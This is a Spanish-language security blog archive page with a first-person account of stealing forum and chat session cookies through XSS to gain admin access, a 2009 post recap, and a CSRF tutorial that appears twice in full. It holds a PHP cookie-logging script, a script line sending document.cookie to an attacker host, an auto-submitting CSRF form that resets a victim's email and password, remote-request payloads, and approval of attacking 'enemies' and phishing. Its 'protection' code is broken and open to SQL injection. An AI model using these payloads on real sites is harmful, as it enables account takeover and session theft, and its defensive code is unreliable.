Backup Oficial de SeguridadBlanca.Org

Mostrando entradas con la etiqueta xsrf. Mostrar todas las entradas
Mostrando entradas con la etiqueta xsrf. Mostrar todas las entradas

domingo, 3 de enero de 2010

Procedimiento, Cuando un Xss se vuelve crítico.

Empezando este año con una entrada que creo que les ayudará a ver desde otra perspectiva un xss, en esta ocación les voy a enseñar como explotar un Xss para poder entrar...


Hace un tiempo escribí sobre como se hace para robar cookies con un xss y para los que se orientan con mi blog pues han de creer que yo enseñe robando masomenos con ingeniería social pero nosotros podemos hacer mas que eso... ahora les mostraré lo que podemos hacer...


mm el código que usaremos es el stándar por asi decirlo que tenemos en la otra entrada pero lo vamos a complementar con otras cosas... ahora si, hay muchas maneras de como poder entrar como administrador a una web con un xss o xsrf y la primera es robandole la cookie al administrador o moderador con ingeniería social + un Foro Vulnerable...


Asi como hago yo ustedes cuando quieran ver si una app es vulnerable procuren descargarlo y buscar código con errores, en casi todas las entradas pongo ejemplos de como se ve un código con error, o si quieren busquen el bug en exploit-db y ver si existe un xss o csrf a explotar... ahora si a la acción...


Tenemos nuestro Bug un Perfecto Xss para robar cookies está ubicado en el en el bbcode [img][/img] el problema con esto es que podemos poner cualquier tipo de imagen es decir jpg jpeg gif pero... php? mmm como podemos ver pregunté si se podía php, el php no es un tipo de imagen pero aun así los programadores cometieron ese error ahora a explotarlo, vamos a escribir una entrada, digamos en un foro de "hackers"...


Tema: Nuevo 0day :o
Content:

[img=http://miwebhostingparahackear.com/robocookie.php][/img]

Bueno amigos.................


EOF
------------------------


Listo como vemos acabamos de "ejecutar" nuestro código de robo de cookies y hemos comenzado a robar cookies y lógico lo que esté escrito en el post debe ser convincente luego vamos a ver quienes han caido... no puede ser... tenemos 20 sessiones que nervios... probemos a ver si alguna es del administrador, ahora despues de probar 13 sessiones:

Welcome Admin


Listo ya teniendo la administración podemos subir una shell como theme, etc pero bueno ahora les voy a mostrar otra situación... hace unos días un amigo me comentó de un 0day muy curioso... era en un chat php...


despues de analizar durante mucho rato el chat por que el no me quería decir del bug se me ocurrió ver los headers usando nuestro live http headers, y en el chat dijeron algo chistoso y yo use el emoticon "xD" y en eso vi que en uno de los headers post de los mensajes se veia algo como esto...



<img src="http://www.webserver.com/chat/files/emoticon10.jpg></img>


cuando lo vi dije no puede ser no creo que ese sea el bug...

cambie


<img src="http://www.webserver.com/chat/files/emoticon10.jpg></img>


por

test123...

y posteo eso intento lo primero con una redirección pero no aceptaba todos los tags entonces probe poner:



<img src="http://www.miwebhackeatodo.com/robo.php></img>


salio una [x] en ves de imagen y mientras escribian en el chat yo me iva sacando todas las cookies... como se dan cuenta hay veces que los errores son pura investigación y curiosidad... lo único que hice fue probar un poco y salio, ustedes también pueden hacer esto...


yo hoy les he enseñando esto con la etiqueta img pero se puede con un iframe, hipervínculo de flash y todo lo que ustedes se imaginen...


espero les sirva este tuto...


Saludos
Dr.White

jueves, 31 de diciembre de 2009

Un Resumen del 2009

Comenzamos un Año de los mas dificiles para todos los ámbitos la crisis afectó a todos el mejor ejemplo es que la foca ya no será gratis...já este año lectores hemos pasado alti bajos juntos y me alegra ver saber como ha crecido poco a poco el blog, dando pasos lentos pero seguros, hemos perdido amigos que empezaron con nosotros, ahora hay uno nuevo pero no queremos irnos para el lado sentimental, les pongo el resumen de este año...

---------------------

Aprendimos a Spoofear User-Agent


Aprendimos sobre el Bluesnarfing


Aprendimos como funcionaba el Remote Code Execution



Aprendamos del Full Path Disclosure



Aprendimos a Configurar un archivo htaccess


Perverthso de CuscoSoft nos enseñó Sql Injection Básica

Jbyte de Jbyte-Security nos lo complementó con Injection a Sql Server


NitroNet Nos enseñó el Remote File Inclusion



Explicando el Path Trasversal



Comenté un poco del Reverse DNS



Ahora el Mass Defacemente



Robando Cookies con un Xss



El Hijacking



Expliqué el Cross Site Tracing


Aprendimos Login Bypass en el ISIL


Encontramos Xss en Tecsup



Nuestra Fanática



Vimos como se hacía Local Files Inclusion por Require()

LFI por uploader


Obtener Archivos del Servidor con Sql Injection



La Explicación de un Login Bypass



Remote Code Execution con Eval



Local File Disclosure



Argument Injection



Mi Exposición del LimaHack



Explique el Session Prediction



Session Fixation



Explique el XSRF



Insecure Permisions



Orientación del PHP al PenTest - CURL()



Insecure Cookie Handling



Nullbyte Poisoning



Sql Injection en ASP Ejempo Real



Descubrí un FPD en FaceBook



Expliqué el Cookie Poisoning



XSRF de Zer-Bits



Arbitrary Download + Full Source Disclosure de Zero-Bits



Espero Este Resumen les haya gustado ahora con mucho gusto y agradecimiento les digo...



Feliz Año Nuevo Que todo Sea bueno para Ustedes en todos los ámbitos, Espero no olviden seguridadblanca en el año que viene y esperamos el próximo año sea mejor para todos....

Happy Hacking =)




Saludos
Dr.White

miércoles, 23 de diciembre de 2009

[Tutorial] Vulnerabilidad CSRF By ShadinessDark [Colaboracion de Zero Bits]

Este tutorial fue hecho por un AMIGO en cual colabore y aca se los dejo:


Inicio Tutorial Cross Site Request Forgery By ShadinessDark = Zero Bits




1.) Presentación



2.) Que es CSRF



3.) Quien descubrió la vulnerabilidad CSRF




4.) CSRF y Xss



5) Robo de Cookies en XSS & CSRF (Diferencia) - Colaboracion de Zero Bits



6.) Testeando vulnerabilidad CSRF y programas el code vulnerable



7.) Sacando una conclusión a todo



8.) Como cuidar nuestra Web de este tipo de ataques




9.) Despedida





1.) Presentación



Primero que nada este tutorial va dedicado a mis amigos de BugDox y a todo los Lectores especialmente a los que no les caigo bien, muchos me harán criticas Y eso es Bueno porque Uds. Me corrigen como muchos saben yo me retire del DEFACING no Es que yo sea conocido ni nada por el estilo este tutorial lo he hecho de manera especial

Para dar la diferencia de otros tutoriales que he visto en la red…



¿Por qué diferente?



Porque la mayoría de los tutoriales visto en la red son poco explicados para iniciados




¿A que se debe este tutorial?



Bueno este tutorial no puedo decir que lo hago con el fin de bien lo hago para bien y Para mal lo hago con concepto de cómo explotarlo y concepto de cómo arreglarlo

No es mi culpa que un Web Master no me haga caso ¿Verdad?



Los saludos más especiales para mis compañeros:



Zero Bits

KuTer

Jeferx


Darki113r

_84kur10_

Z1z30f

Kozmic.Kizz




2.) Que es CSRF



Bueno como muchos quizás han leído en la wikipedia ya csrf representa a

Cross Site Request Forgery el ataque se efectúa cuando por ejemplo Vemos algo

Así Presiona este link para que te lleve a mi sitio


Siempre el atacante usa como victima a un usuario que le brinda confianza la Web.

Los que tenemos foros sabemos que cada usuario tiene como destino un perfil donde

Cambiamos contraseña – email – nombre de usuario y otras cositas casi siempre el Atacante usa un código malicioso para hacer una petición en {GET – Post – HTTP}

Con esta vulnerabilidad el atacante le puede cambiar a la victima su información de PERFIL.



3.) Quien descubrió la vulnerabilidad CSRF



En el 1988 Hardy Norma publico un documento que explique una solicitud cuestión nivel de confianza que llamo un

Diputado confuso. En 2000, un correo a bugtraq explico Zope fue afectado por un problema confuso

Web diputado que se define hoy como una vulnerabilidad CSRF mas tarde en el 2001 Peter Watkins publico una entrada


En la lista de correo bugtraq acuñar el termino CSRF en respuesta a otro hilo titulado

Los peligros de permitir a los usuarios colocar imágenes en los sitios Web.



Bueno sobre quien lo descubrio ese credito si no me toca a mi esa parte es de Aqui solo lo logre traducir...



4.) CSRF y Xss



Quizás muchas personas nos preguntamos o se preguntan si esta vulnerabilidad

Es parecida o igual a xss.




Les explico bueno xss se aprovecha de la confianza de la victima que tiene el sitio

Web o aplicación el usuario lea ae contenido que aparece en su navegador que esta destinada y representada por el sitio Web que se esta viendo.



El csrf se aprovecha de la confianza que el sitio tiene para la victima ósea usuario…



4.1) Robo de Cookies en XSS & CSRF (Diferencia) - Colaboracion de Zero Bits



Bueno hay un metodo en XSS que algunos amigos me han dicho que se parece a el XSRF o CSRF, que son el ROBO DE COOKIES EN XSS y el CSRF, la verdad es que no ya que, el robo de cookies por xss como su nombre lo indica roba las cookies de cualquier usuario o administrador del sitio y el CSRF se encarga de ROBAR, VER y CAMBIAR cualquier informacion dependiendo de la victima que caiga.




Vamos a ver un ROBO DE COOKIES EN XSS y un ataque CSRF clasico, para que vean un poco la diferencia...



- ROBO DE COOKIES EN XSS



Primero tendriamos que saber si el server es vulnerable a XSS o tambien podriamos probar que el code

[code ][url ] o [img ] [/code ]

no filtre bien el contenido que se le asigne.



Para algunos que no entienden lo de [code ][url ] y [img ][/code ] es cuando dentro del [code ][url ][/code ] agregariamos un link como [code ]"javascript:alert("xss")"[/code ] y cuando se le de click se ejecute hay mismo, tambien podriamos agregar XSS con codes HEXADECIMALES (ya esto es otro tema, asi que no lo explicare).



Bueno, en otro servidor aparte (que seria el nuestro) codeariamos un programa en PHP que se encargue de recibir al usuario victima y robarle las cookies apenas entre (Para esto se necesita saber por lo menos PHP BASICO)




<?
$cookie = $_REQUEST[cookie];
$file=fopen("cookies.txt", "a");
fput($file, "$cookie\n");
fclose($file);
?>




PD: Este code no es mio es de Chebyte. Pero esto es basico...



Bueno, le explicare el code para quienes no lo entiendan:



$cookie = $_REQUEST[cookie] : El que recibe la cookie

$file=fopen("cookies.txt", "a") : Crea el archivo cookies.txt para lectura

fput($file, "$cookie\n") : Muestra la cookie


fclose($file) : Cierra



Podriamos guardarlo "robador.php" y ahora faltaria el code que redireccione a este CODE:



<script>self.location='e);"target=" _blank">http://TuWeb.com/robador.php?c='+scape(document.cookie)</script>




Y Tachan! tienes la cookie...



Bueno antes que nada les dire lo SCRIPT KIDDIE y BUENO de este metodo:




1. SCRIPT KIDDIE: Usar este metodo contra webs de Hacking

2. NO-LAMMER: Usar contra sites malos como: Porno, Pedofilia, Estafadores, Enemigos, EMOS!!!, etc..

3. SCRIPT KIDDIE: Aprender este metodo unicamente sin saber como funciona

4. NO-LAMMER: Aprender JAVASCRIPT, HTML y PHP

5. MEDIO: Usarla para Phishing [Es malo y es bueno xD, pero no es lammer]

5. SCRIPT KIDDIE: Hacking MSN -.-"



Ahora pasaremos a hablar del CSRF clasico:




- XSRF/CSRF Clasico



Bueno ahora usaremos una forma de XSRF clasico, pero no de robo si no de CAMBIO de datos, que seria primero como dije probar si el server es vulnerable a JAVASCRIPT, o si no filtra bien el contenido de los BBCODES, o los inputs mal programados, o tambien podriamos atacar normal, sin que el usuario sepa que es un ataque.



Podriamos atacar sin que la victima sepa que es malo asi (dependiendo de la pagina):



<form action="formulario" action="http://victima.com/perfil.php" method="POST">
<input type="hidden" name="email" value="tuemail@hotmail.com">
<input type="hidden" name="passwirdl" value="minuevopassword">
<input type="hidden" name="submit" value="enviar">

<script>document.submit();</script>




Como dije depende de la web, SI EL SITE NO TIENE AL CAMBIAR DATOS, REPITE EL EMAIL o CONTRASEÑA es vulnerable y tambien de los input "name=NOMBRE" del site. La victima no sabe que le hemos cambiado el email...



Tambien si al cambiar datos salga un link como este:



[quote]http://www.web.com/perfil.php?user=NOMBREUSUARIONUEVO&mail=minuevomail@hotmail.com&pass=minuevopass[/quote]




Es super hiper mega vulnerable ya que notamos que no dice en el link a cambiar: PASSANTERIOR o EMAILANTERIOR... y que pasa si le mandamos un MP (Mensaje Privado) depende claro si es un foro con un link como este:



Man vota por mi



Y al hacer click en cualquiera de los ejemplos los datos han sido cambiados..



Espero que les haya gustado mi parte en este bonito tutorial creado por mi bro ShadinessDark y puedan entender la diferencia entre XSS (El robo de cookies) y CSRF...






5.)Testeando vulnerabilidad CSRF y programas el code vulnerable



Los ataques csrf lo reproducen por etiquetas HTML/JAVASCRIPT o una

Imagen, daré un breve ejemplo:



Un ejemplo nos envían un correo electrónico o un MP en algún foro cuyo propósito

Del atacante es que al darle clic realiza una solicitud a una URL del atacante les Mostrare un ejemplo:




Por ejemplo usando una imagen src.

<img src="http://Www.xD.com/?Comando">



Script

<script src="http://Www.xD.com/?Comando">



Casi siempre se usan los IFRAME



<iframe src="http://Www.xD.com/?Comando">




Los ejemplos de arribas son dados con HTML ahora les doy el ejemplo de los de Javascript



<script>

var foo = new Image(); var foo = new Image ();

foo.src = "http://Www.xD.com/?Comando";</script>



También se puede hacer por XHTML pero hay que usar IE y bueno esa no se las explicare en este tutorial y si quieren me avisan y bueno lo modifico, Claro que existen muchas formas Vbscript – Actionscript – HTML – Javascript - JScript y otros que utilizan de marcado en los navegadores de los usuarios que hacen

Realizar peticiones REMOTAS.




¿Cambiando datos de la victima?




Bueno este breve codigo es solo un pequeño ejemplo:



<script>

var post_data = 'name=value'; post_data var = 'nombre = valor';

var xmlhttp=new XMLHttpRequest(); var xmlhttp = new XMLHttpRequest ();

xmlhttp.open("POST", 'http://www.xD.com/path/file.ext', true); xmlhttp.open ( "POST", "http://www.xD.com/path/file.ext ', true);

xmlhttp.onreadystatechange = function () { xmlhttp.onreadystatechange = function () (


if (xmlhttp.readyState == 4) if (xmlhttp.readyState == 4)

{ (

alert(xmlhttp.responseText); alert (xmlhttp.responseText);

} )

}; );

xmlhttp.send(post_data); xmlhttp.send (post_data);

</script> </ script>




Como podemos ver en este código hacemos una petición a POST

Acuérdense que arriba les comente que cuando el atacante usa un código

Malicioso hace una petición en Get. Post y HTTP ¿Se acuerdan? Espero y me vayan entendiendo...



¿A dónde se dirige esta petición?



Bueno esta petición se dirige a la base de datos del sitio me explico

Cada vez que hacemos cambios extremos en nuestro perfil todo pasa

Por una base de datos bueno cuando la victima le da clic a la url enviada

Por el atacante hace una petición en la base de datos y cambia los datos de la cuenta


De la victima de confianza por el atacante ¿Me van entendiendo a que se debe este ataque?



7.) Sacando una conclusión a todo.



Mirando la lógica a todo este ataque se basa en un código malicioso que es muy usado, HTML Y Javascript.



Es un tipo de ataque que por parte de HTML usamos la etiqueta src y en javascript Usamos la misma etiqueta este ataque es basado en darle clic a un vinculo al Redireccionar la Web y cargar cambia la información que de nuestro usuario.

Haciendo una petición en la base de datos del código del atacante…



8.) Como cuidar nuestra Web de este tipo de ataques





Primero que nada vamos a nuestro FTP introducimos nuestros datos y entramos a la Carpeta public_html o donde este el archivo index.php le añadiremos algo que diga

‘Actualcontraseña’ Antes de seguir el código que pondré es sacado de la siguiente pagina De aquí



Después que estemos en el index.php introduciremos este código con el Actualcontraseña esto tiene que ir dentro de <?php…

<form method="POST" action="datos.php" name="datos">
Usuario <input type="text" name="usuario">
Email <input type="text" name="email">

Contraseña <input type="text" name="contraseña">
Email alternativo: <input type="text" name="emailalternativo">
Contraseña Actual: <input type="text" name="actualcontraseña">
<input type="submit" name="submit" value="cambiardatos">
</form>





Luego buscamos el archive que se llama Config.php lo pueden encontrar

Por el mismo FTP y le agregamos lo siguiente:



<?php

$bd_host = "localhost";
$bd_usuario = "user";
$bd_password = "pass";
$bd_base = "bd";

$con = mysql_connect($bd_host, $bd_usuario, $bd_password); mysql_select_db($bd_base, $con);

?>




En el archive datos.php usaremos lo siguiente:



<?

include('config.php');

session_start();
if(isset($_REQUEST['usuario']))
$usuario = $_REQUEST['usuario'];
else
die("Rellene el campo Usuario");
if(isset($_REQUEST['email']))
$email = $_REQUEST['email];
else
die("Rellene el campo email");
if(isset($_REQUEST['contraseña']))
$contraseña = $_REQUEST['contraseña];
else
die("Rellene el campo Contraseña");
if(isset($_REQUEST['emailalternativo']))
$emailalternativo = $_REQUEST['emailalternativo];
else
die("Falta el email alternativo");
if(isset($_REQUEST['actualcontraseña']))
$actualcontraseña = $_REQUEST['actualcontraseña];
else
die("Especifique la contraseña");

if ($actualcontraseña==NULL) {
echo "Especifique su contraseña Actual";

}else{

$query = mysql_query("SELECT usuario,actualcontraseña FROM myhosting_usuarios WHERE username = '$usuario'") or die(mysql_error());
$data = mysql_fetch_array($query);
if($data['contraseñaa'] != $actualcontraseña) {
echo "Contraseña Actual Inavalida";
}else{

CambiarDatos($usuario, $email, $contraseña, $emailalternativo);

?>




Ahora vamos a nuestro panel entramos a PHPMYADMIN ósea a nuestro phpmyadmin


Y le damos donde dice Consulta y introducen el siguiente código:

CREATE TABLE 'myhosting_usuarios' (
'id' int(11) NOT NULL auto_increment,
'usuario' varchar(15) NOT NULL,
'email' varchar(15) NOT NULL,
'emailalternativo' varchar(15) NOT NULL,
'contraseña' varchar(150) NOT NULL,
'contraseñaa' varchar(150) NOT NULL,
KEY 'id' ('id')
) ENGINE=MyISAM;

INSERT INTO 'myhosting_usuarios' VALUES (1, 'SecurityKill', 'mymail@gmail.com', 'mymail2@gmail.com', 'mypass', 'mypass');






9.) Despedida



Bueno señores ya hemos terminado este tutorial quizás muchos no entendieron

Y otros si me entendieron traten de hacer lo mejor por dar una buena explicación

Pero recuerden que no todo se pone tan fácil, Bueno en este tutorial compartí gran

Parte con mi hermano zero bits que su parte quedo maravillosa lo se porque lo lei


Me gustan las críticas así que espero las críticas tutorial escrito a mano todo los derechos del autor reservados y los códigos no todos son nuestros por eso hemos

Puesto en algunos la fuente les deseo un gran fin de semana…



No pongo mi sitio Web porque siempre los Web Master andan con el trauma de que

Hacemos Spam como si con eso piensan que acabaran el Spam sueñen un rato…



Group’s Ethical.



Zero Bits

KuTer


Jeferx

Darki113r

_84kur10_

ShadinessDark



Mi team V1rtu@l VIRu$ Bl@ck Team

[Tutorial] Vulnerabilidad CSRF By ShadinessDark [Colaboracion de Zero Bits]

Este tutorial fue hecho por un AMIGO en cual colabore y aca se los dejo:


Inicio Tutorial Cross Site Request Forgery By ShadinessDark = Zero Bits




1.) Presentación



2.) Que es CSRF



3.) Quien descubrió la vulnerabilidad CSRF




4.) CSRF y Xss



5) Robo de Cookies en XSS & CSRF (Diferencia) - Colaboracion de Zero Bits



6.) Testeando vulnerabilidad CSRF y programas el code vulnerable



7.) Sacando una conclusión a todo



8.) Como cuidar nuestra Web de este tipo de ataques




9.) Despedida





1.) Presentación



Primero que nada este tutorial va dedicado a mis amigos de BugDox y a todo los Lectores especialmente a los que no les caigo bien, muchos me harán criticas Y eso es Bueno porque Uds. Me corrigen como muchos saben yo me retire del DEFACING no Es que yo sea conocido ni nada por el estilo este tutorial lo he hecho de manera especial

Para dar la diferencia de otros tutoriales que he visto en la red…



¿Por qué diferente?



Porque la mayoría de los tutoriales visto en la red son poco explicados para iniciados




¿A que se debe este tutorial?



Bueno este tutorial no puedo decir que lo hago con el fin de bien lo hago para bien y Para mal lo hago con concepto de cómo explotarlo y concepto de cómo arreglarlo

No es mi culpa que un Web Master no me haga caso ¿Verdad?



Los saludos más especiales para mis compañeros:



Zero Bits

KuTer

Jeferx


Darki113r

_84kur10_

Z1z30f

Kozmic.Kizz




2.) Que es CSRF



Bueno como muchos quizás han leído en la wikipedia ya csrf representa a

Cross Site Request Forgery el ataque se efectúa cuando por ejemplo Vemos algo

Así Presiona este link para que te lleve a mi sitio


Siempre el atacante usa como victima a un usuario que le brinda confianza la Web.

Los que tenemos foros sabemos que cada usuario tiene como destino un perfil donde

Cambiamos contraseña – email – nombre de usuario y otras cositas casi siempre el Atacante usa un código malicioso para hacer una petición en {GET – Post – HTTP}

Con esta vulnerabilidad el atacante le puede cambiar a la victima su información de PERFIL.



3.) Quien descubrió la vulnerabilidad CSRF



En el 1988 Hardy Norma publico un documento que explique una solicitud cuestión nivel de confianza que llamo un

Diputado confuso. En 2000, un correo a bugtraq explico Zope fue afectado por un problema confuso

Web diputado que se define hoy como una vulnerabilidad CSRF mas tarde en el 2001 Peter Watkins publico una entrada


En la lista de correo bugtraq acuñar el termino CSRF en respuesta a otro hilo titulado

Los peligros de permitir a los usuarios colocar imágenes en los sitios Web.



Bueno sobre quien lo descubrio ese credito si no me toca a mi esa parte es de Aqui solo lo logre traducir...



4.) CSRF y Xss



Quizás muchas personas nos preguntamos o se preguntan si esta vulnerabilidad

Es parecida o igual a xss.




Les explico bueno xss se aprovecha de la confianza de la victima que tiene el sitio

Web o aplicación el usuario lea ae contenido que aparece en su navegador que esta destinada y representada por el sitio Web que se esta viendo.



El csrf se aprovecha de la confianza que el sitio tiene para la victima ósea usuario…



4.1) Robo de Cookies en XSS & CSRF (Diferencia) - Colaboracion de Zero Bits



Bueno hay un metodo en XSS que algunos amigos me han dicho que se parece a el XSRF o CSRF, que son el ROBO DE COOKIES EN XSS y el CSRF, la verdad es que no ya que, el robo de cookies por xss como su nombre lo indica roba las cookies de cualquier usuario o administrador del sitio y el CSRF se encarga de ROBAR, VER y CAMBIAR cualquier informacion dependiendo de la victima que caiga.




Vamos a ver un ROBO DE COOKIES EN XSS y un ataque CSRF clasico, para que vean un poco la diferencia...



- ROBO DE COOKIES EN XSS



Primero tendriamos que saber si el server es vulnerable a XSS o tambien podriamos probar que el code

[code ][url ] o [img ] [/code ]

no filtre bien el contenido que se le asigne.



Para algunos que no entienden lo de [code ][url ] y [img ][/code ] es cuando dentro del [code ][url ][/code ] agregariamos un link como [code ]"javascript:alert("xss")"[/code ] y cuando se le de click se ejecute hay mismo, tambien podriamos agregar XSS con codes HEXADECIMALES (ya esto es otro tema, asi que no lo explicare).



Bueno, en otro servidor aparte (que seria el nuestro) codeariamos un programa en PHP que se encargue de recibir al usuario victima y robarle las cookies apenas entre (Para esto se necesita saber por lo menos PHP BASICO)




<?
$cookie = $_REQUEST[cookie];
$file=fopen("cookies.txt", "a");
fput($file, "$cookie\n");
fclose($file);
?>




PD: Este code no es mio es de Chebyte. Pero esto es basico...



Bueno, le explicare el code para quienes no lo entiendan:



$cookie = $_REQUEST[cookie] : El que recibe la cookie

$file=fopen("cookies.txt", "a") : Crea el archivo cookies.txt para lectura

fput($file, "$cookie\n") : Muestra la cookie


fclose($file) : Cierra



Podriamos guardarlo "robador.php" y ahora faltaria el code que redireccione a este CODE:



<script>self.location='e);"target=" _blank">http://TuWeb.com/robador.php?c='+scape(document.cookie)</script>




Y Tachan! tienes la cookie...



Bueno antes que nada les dire lo SCRIPT KIDDIE y BUENO de este metodo:




1. SCRIPT KIDDIE: Usar este metodo contra webs de Hacking

2. NO-LAMMER: Usar contra sites malos como: Porno, Pedofilia, Estafadores, Enemigos, EMOS!!!, etc..

3. SCRIPT KIDDIE: Aprender este metodo unicamente sin saber como funciona

4. NO-LAMMER: Aprender JAVASCRIPT, HTML y PHP

5. MEDIO: Usarla para Phishing [Es malo y es bueno xD, pero no es lammer]

5. SCRIPT KIDDIE: Hacking MSN -.-"



Ahora pasaremos a hablar del CSRF clasico:




- XSRF/CSRF Clasico



Bueno ahora usaremos una forma de XSRF clasico, pero no de robo si no de CAMBIO de datos, que seria primero como dije probar si el server es vulnerable a JAVASCRIPT, o si no filtra bien el contenido de los BBCODES, o los inputs mal programados, o tambien podriamos atacar normal, sin que el usuario sepa que es un ataque.



Podriamos atacar sin que la victima sepa que es malo asi (dependiendo de la pagina):



<form action="formulario" action="http://victima.com/perfil.php" method="POST">
<input type="hidden" name="email" value="tuemail@hotmail.com">
<input type="hidden" name="passwirdl" value="minuevopassword">
<input type="hidden" name="submit" value="enviar">

<script>document.submit();</script>




Como dije depende de la web, SI EL SITE NO TIENE AL CAMBIAR DATOS, REPITE EL EMAIL o CONTRASEÑA es vulnerable y tambien de los input "name=NOMBRE" del site. La victima no sabe que le hemos cambiado el email...



Tambien si al cambiar datos salga un link como este:



[quote]http://www.web.com/perfil.php?user=NOMBREUSUARIONUEVO&mail=minuevomail@hotmail.com&pass=minuevopass[/quote]




Es super hiper mega vulnerable ya que notamos que no dice en el link a cambiar: PASSANTERIOR o EMAILANTERIOR... y que pasa si le mandamos un MP (Mensaje Privado) depende claro si es un foro con un link como este:



Man vota por mi



Y al hacer click en cualquiera de los ejemplos los datos han sido cambiados..



Espero que les haya gustado mi parte en este bonito tutorial creado por mi bro ShadinessDark y puedan entender la diferencia entre XSS (El robo de cookies) y CSRF...






5.)Testeando vulnerabilidad CSRF y programas el code vulnerable



Los ataques csrf lo reproducen por etiquetas HTML/JAVASCRIPT o una

Imagen, daré un breve ejemplo:



Un ejemplo nos envían un correo electrónico o un MP en algún foro cuyo propósito

Del atacante es que al darle clic realiza una solicitud a una URL del atacante les Mostrare un ejemplo:




Por ejemplo usando una imagen src.

<img src="http://Www.xD.com/?Comando">



Script

<script src="http://Www.xD.com/?Comando">



Casi siempre se usan los IFRAME



<iframe src="http://Www.xD.com/?Comando">




Los ejemplos de arribas son dados con HTML ahora les doy el ejemplo de los de Javascript



<script>

var foo = new Image(); var foo = new Image ();

foo.src = "http://Www.xD.com/?Comando";</script>



También se puede hacer por XHTML pero hay que usar IE y bueno esa no se las explicare en este tutorial y si quieren me avisan y bueno lo modifico, Claro que existen muchas formas Vbscript – Actionscript – HTML – Javascript - JScript y otros que utilizan de marcado en los navegadores de los usuarios que hacen

Realizar peticiones REMOTAS.




¿Cambiando datos de la victima?




Bueno este breve codigo es solo un pequeño ejemplo:



<script>

var post_data = 'name=value'; post_data var = 'nombre = valor';

var xmlhttp=new XMLHttpRequest(); var xmlhttp = new XMLHttpRequest ();

xmlhttp.open("POST", 'http://www.xD.com/path/file.ext', true); xmlhttp.open ( "POST", "http://www.xD.com/path/file.ext ', true);

xmlhttp.onreadystatechange = function () { xmlhttp.onreadystatechange = function () (


if (xmlhttp.readyState == 4) if (xmlhttp.readyState == 4)

{ (

alert(xmlhttp.responseText); alert (xmlhttp.responseText);

} )

}; );

xmlhttp.send(post_data); xmlhttp.send (post_data);

</script> </ script>




Como podemos ver en este código hacemos una petición a POST

Acuérdense que arriba les comente que cuando el atacante usa un código

Malicioso hace una petición en Get. Post y HTTP ¿Se acuerdan? Espero y me vayan entendiendo...



¿A dónde se dirige esta petición?



Bueno esta petición se dirige a la base de datos del sitio me explico

Cada vez que hacemos cambios extremos en nuestro perfil todo pasa

Por una base de datos bueno cuando la victima le da clic a la url enviada

Por el atacante hace una petición en la base de datos y cambia los datos de la cuenta


De la victima de confianza por el atacante ¿Me van entendiendo a que se debe este ataque?



7.) Sacando una conclusión a todo.



Mirando la lógica a todo este ataque se basa en un código malicioso que es muy usado, HTML Y Javascript.



Es un tipo de ataque que por parte de HTML usamos la etiqueta src y en javascript Usamos la misma etiqueta este ataque es basado en darle clic a un vinculo al Redireccionar la Web y cargar cambia la información que de nuestro usuario.

Haciendo una petición en la base de datos del código del atacante…



8.) Como cuidar nuestra Web de este tipo de ataques





Primero que nada vamos a nuestro FTP introducimos nuestros datos y entramos a la Carpeta public_html o donde este el archivo index.php le añadiremos algo que diga

‘Actualcontraseña’ Antes de seguir el código que pondré es sacado de la siguiente pagina De aquí



Después que estemos en el index.php introduciremos este código con el Actualcontraseña esto tiene que ir dentro de <?php…

<form method="POST" action="datos.php" name="datos">
Usuario <input type="text" name="usuario">
Email <input type="text" name="email">

Contraseña <input type="text" name="contraseña">
Email alternativo: <input type="text" name="emailalternativo">
Contraseña Actual: <input type="text" name="actualcontraseña">
<input type="submit" name="submit" value="cambiardatos">
</form>





Luego buscamos el archive que se llama Config.php lo pueden encontrar

Por el mismo FTP y le agregamos lo siguiente:



<?php

$bd_host = "localhost";
$bd_usuario = "user";
$bd_password = "pass";
$bd_base = "bd";

$con = mysql_connect($bd_host, $bd_usuario, $bd_password); mysql_select_db($bd_base, $con);

?>




En el archive datos.php usaremos lo siguiente:



<?

include('config.php');

session_start();
if(isset($_REQUEST['usuario']))
$usuario = $_REQUEST['usuario'];
else
die("Rellene el campo Usuario");
if(isset($_REQUEST['email']))
$email = $_REQUEST['email];
else
die("Rellene el campo email");
if(isset($_REQUEST['contraseña']))
$contraseña = $_REQUEST['contraseña];
else
die("Rellene el campo Contraseña");
if(isset($_REQUEST['emailalternativo']))
$emailalternativo = $_REQUEST['emailalternativo];
else
die("Falta el email alternativo");
if(isset($_REQUEST['actualcontraseña']))
$actualcontraseña = $_REQUEST['actualcontraseña];
else
die("Especifique la contraseña");

if ($actualcontraseña==NULL) {
echo "Especifique su contraseña Actual";

}else{

$query = mysql_query("SELECT usuario,actualcontraseña FROM myhosting_usuarios WHERE username = '$usuario'") or die(mysql_error());
$data = mysql_fetch_array($query);
if($data['contraseñaa'] != $actualcontraseña) {
echo "Contraseña Actual Inavalida";
}else{

CambiarDatos($usuario, $email, $contraseña, $emailalternativo);

?>




Ahora vamos a nuestro panel entramos a PHPMYADMIN ósea a nuestro phpmyadmin


Y le damos donde dice Consulta y introducen el siguiente código:

CREATE TABLE 'myhosting_usuarios' (
'id' int(11) NOT NULL auto_increment,
'usuario' varchar(15) NOT NULL,
'email' varchar(15) NOT NULL,
'emailalternativo' varchar(15) NOT NULL,
'contraseña' varchar(150) NOT NULL,
'contraseñaa' varchar(150) NOT NULL,
KEY 'id' ('id')
) ENGINE=MyISAM;

INSERT INTO 'myhosting_usuarios' VALUES (1, 'SecurityKill', 'mymail@gmail.com', 'mymail2@gmail.com', 'mypass', 'mypass');






9.) Despedida



Bueno señores ya hemos terminado este tutorial quizás muchos no entendieron

Y otros si me entendieron traten de hacer lo mejor por dar una buena explicación

Pero recuerden que no todo se pone tan fácil, Bueno en este tutorial compartí gran

Parte con mi hermano zero bits que su parte quedo maravillosa lo se porque lo lei


Me gustan las críticas así que espero las críticas tutorial escrito a mano todo los derechos del autor reservados y los códigos no todos son nuestros por eso hemos

Puesto en algunos la fuente les deseo un gran fin de semana…



No pongo mi sitio Web porque siempre los Web Master andan con el trauma de que

Hacemos Spam como si con eso piensan que acabaran el Spam sueñen un rato…



Group’s Ethical.



Zero Bits

KuTer


Jeferx

Darki113r

_84kur10_

ShadinessDark



Mi team V1rtu@l VIRu$ Bl@ck Team